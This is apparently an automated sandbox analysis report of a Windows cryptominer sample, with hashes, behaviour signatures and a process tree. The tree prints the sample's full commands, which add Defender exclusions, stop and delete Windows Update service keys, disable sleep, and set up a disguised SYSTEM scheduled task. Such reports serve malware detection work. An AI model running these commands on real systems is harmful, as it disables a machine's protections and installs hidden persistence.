Analysis
-
max time kernel
150s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
22-02-2023 15:04
Static task
static1
Behavioral task
behavioral1
Sample
dmi1dfg7n.exe
Resource
win7-20230220-en
General
-
Target
dmi1dfg7n.exe
-
Size
2.8MB
-
MD5
9253ed091d81e076a3037e12af3dc871
-
SHA1
ec02829a25b3bf57ad061bbe54180d0c99c76981
-
SHA256
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
-
SHA512
29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
-
SSDEEP
49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
XMRig Miner payload 12 IoCs
Processes:
resource yara_rule behavioral2/memory/444-257-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-260-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-262-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-265-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-268-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-270-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-272-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-274-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-280-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-282-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-284-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig behavioral2/memory/444-286-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 3824 updater.exe -
Processes:
resource yara_rule behavioral2/memory/444-257-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-260-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-262-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-265-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-268-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-270-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-272-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-274-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-280-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-282-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-284-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx behavioral2/memory/444-286-0x00007FF7AC440000-0x00007FF7ACC34000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
dmi1dfg7n.exeupdater.exedescription pid process target process PID 4868 set thread context of 4372 4868 dmi1dfg7n.exe dialer.exe PID 3824 set thread context of 3456 3824 updater.exe dialer.exe PID 3824 set thread context of 444 3824 updater.exe dialer.exe -
Drops file in Program Files directory 4 IoCs
Processes:
dmi1dfg7n.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe dmi1dfg7n.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Drops file in Windows directory 4 IoCs
Processes:
dialer.exedescription ioc process File created C:\Windows\Tasks\dialersvc64.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc64.job dialer.exe File created C:\Windows\Tasks\dialersvc32.job dialer.exe File opened for modification C:\Windows\Tasks\dialersvc32.job dialer.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 3208 sc.exe 4424 sc.exe 1656 sc.exe 2812 sc.exe 4312 sc.exe 836 sc.exe 1964 sc.exe 4296 sc.exe 232 sc.exe 3500 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedialer.exepid process 1672 powershell.exe 1672 powershell.exe 4232 powershell.exe 4232 powershell.exe 4712 powershell.exe 4712 powershell.exe 2696 powershell.exe 2696 powershell.exe 1592 powershell.exe 1592 powershell.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe 444 dialer.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 1672 powershell.exe Token: SeShutdownPrivilege 2644 powercfg.exe Token: SeCreatePagefilePrivilege 2644 powercfg.exe Token: SeShutdownPrivilege 3052 powercfg.exe Token: SeCreatePagefilePrivilege 3052 powercfg.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeShutdownPrivilege 2432 powercfg.exe Token: SeCreatePagefilePrivilege 2432 powercfg.exe Token: SeShutdownPrivilege 212 powercfg.exe Token: SeCreatePagefilePrivilege 212 powercfg.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeSystemEnvironmentPrivilege 4232 powershell.exe Token: SeRemoteShutdownPrivilege 4232 powershell.exe Token: SeUndockPrivilege 4232 powershell.exe Token: SeManageVolumePrivilege 4232 powershell.exe Token: 33 4232 powershell.exe Token: 34 4232 powershell.exe Token: 35 4232 powershell.exe Token: 36 4232 powershell.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe Token: SeDebugPrivilege 4232 powershell.exe Token: SeSystemEnvironmentPrivilege 4232 powershell.exe Token: SeRemoteShutdownPrivilege 4232 powershell.exe Token: SeUndockPrivilege 4232 powershell.exe Token: SeManageVolumePrivilege 4232 powershell.exe Token: 33 4232 powershell.exe Token: 34 4232 powershell.exe Token: 35 4232 powershell.exe Token: 36 4232 powershell.exe Token: SeIncreaseQuotaPrivilege 4232 powershell.exe Token: SeSecurityPrivilege 4232 powershell.exe Token: SeTakeOwnershipPrivilege 4232 powershell.exe Token: SeLoadDriverPrivilege 4232 powershell.exe Token: SeSystemProfilePrivilege 4232 powershell.exe Token: SeSystemtimePrivilege 4232 powershell.exe Token: SeProfSingleProcessPrivilege 4232 powershell.exe Token: SeIncBasePriorityPrivilege 4232 powershell.exe Token: SeCreatePagefilePrivilege 4232 powershell.exe Token: SeBackupPrivilege 4232 powershell.exe Token: SeRestorePrivilege 4232 powershell.exe Token: SeShutdownPrivilege 4232 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
dmi1dfg7n.execmd.execmd.exepowershell.exeupdater.execmd.execmd.exedescription pid process target process PID 4868 wrote to memory of 1672 4868 dmi1dfg7n.exe powershell.exe PID 4868 wrote to memory of 1672 4868 dmi1dfg7n.exe powershell.exe PID 4868 wrote to memory of 3572 4868 dmi1dfg7n.exe cmd.exe PID 4868 wrote to memory of 3572 4868 dmi1dfg7n.exe cmd.exe PID 4868 wrote to memory of 1320 4868 dmi1dfg7n.exe cmd.exe PID 4868 wrote to memory of 1320 4868 dmi1dfg7n.exe cmd.exe PID 4868 wrote to memory of 4232 4868 dmi1dfg7n.exe powershell.exe PID 4868 wrote to memory of 4232 4868 dmi1dfg7n.exe powershell.exe PID 3572 wrote to memory of 1656 3572 cmd.exe sc.exe PID 3572 wrote to memory of 1656 3572 cmd.exe sc.exe PID 1320 wrote to memory of 2644 1320 cmd.exe powercfg.exe PID 1320 wrote to memory of 2644 1320 cmd.exe powercfg.exe PID 1320 wrote to memory of 3052 1320 cmd.exe powercfg.exe PID 1320 wrote to memory of 3052 1320 cmd.exe powercfg.exe PID 3572 wrote to memory of 2812 3572 cmd.exe sc.exe PID 3572 wrote to memory of 2812 3572 cmd.exe sc.exe PID 1320 wrote to memory of 2432 1320 cmd.exe powercfg.exe PID 1320 wrote to memory of 2432 1320 cmd.exe powercfg.exe PID 3572 wrote to memory of 4312 3572 cmd.exe sc.exe PID 3572 wrote to memory of 4312 3572 cmd.exe sc.exe PID 3572 wrote to memory of 4296 3572 cmd.exe sc.exe PID 3572 wrote to memory of 4296 3572 cmd.exe sc.exe PID 1320 wrote to memory of 212 1320 cmd.exe powercfg.exe PID 1320 wrote to memory of 212 1320 cmd.exe powercfg.exe PID 3572 wrote to memory of 232 3572 cmd.exe sc.exe PID 3572 wrote to memory of 232 3572 cmd.exe sc.exe PID 3572 wrote to memory of 832 3572 cmd.exe reg.exe PID 3572 wrote to memory of 832 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3664 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3664 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3448 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3448 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3908 3572 cmd.exe reg.exe PID 3572 wrote to memory of 3908 3572 cmd.exe reg.exe PID 3572 wrote to memory of 2616 3572 cmd.exe reg.exe PID 3572 wrote to memory of 2616 3572 cmd.exe reg.exe PID 4868 wrote to memory of 4372 4868 dmi1dfg7n.exe dialer.exe PID 4868 wrote to memory of 4372 4868 dmi1dfg7n.exe dialer.exe PID 4868 wrote to memory of 4372 4868 dmi1dfg7n.exe dialer.exe PID 4868 wrote to memory of 4712 4868 dmi1dfg7n.exe powershell.exe PID 4868 wrote to memory of 4712 4868 dmi1dfg7n.exe powershell.exe PID 4712 wrote to memory of 2632 4712 powershell.exe schtasks.exe PID 4712 wrote to memory of 2632 4712 powershell.exe schtasks.exe PID 3824 wrote to memory of 2696 3824 updater.exe powershell.exe PID 3824 wrote to memory of 2696 3824 updater.exe powershell.exe PID 3824 wrote to memory of 1372 3824 updater.exe cmd.exe PID 3824 wrote to memory of 1372 3824 updater.exe cmd.exe PID 3824 wrote to memory of 452 3824 updater.exe cmd.exe PID 3824 wrote to memory of 452 3824 updater.exe cmd.exe PID 3824 wrote to memory of 1592 3824 updater.exe powershell.exe PID 3824 wrote to memory of 1592 3824 updater.exe powershell.exe PID 1372 wrote to memory of 836 1372 cmd.exe sc.exe PID 1372 wrote to memory of 836 1372 cmd.exe sc.exe PID 452 wrote to memory of 1500 452 cmd.exe powercfg.exe PID 452 wrote to memory of 1500 452 cmd.exe powercfg.exe PID 1372 wrote to memory of 1964 1372 cmd.exe sc.exe PID 1372 wrote to memory of 1964 1372 cmd.exe sc.exe PID 452 wrote to memory of 3292 452 cmd.exe powercfg.exe PID 452 wrote to memory of 3292 452 cmd.exe powercfg.exe PID 1372 wrote to memory of 3500 1372 cmd.exe sc.exe PID 1372 wrote to memory of 3500 1372 cmd.exe sc.exe PID 1372 wrote to memory of 3208 1372 cmd.exe sc.exe PID 1372 wrote to memory of 3208 1372 cmd.exe sc.exe PID 1372 wrote to memory of 4424 1372 cmd.exe sc.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"1⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.execmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\system32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\system32\cmd.execmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
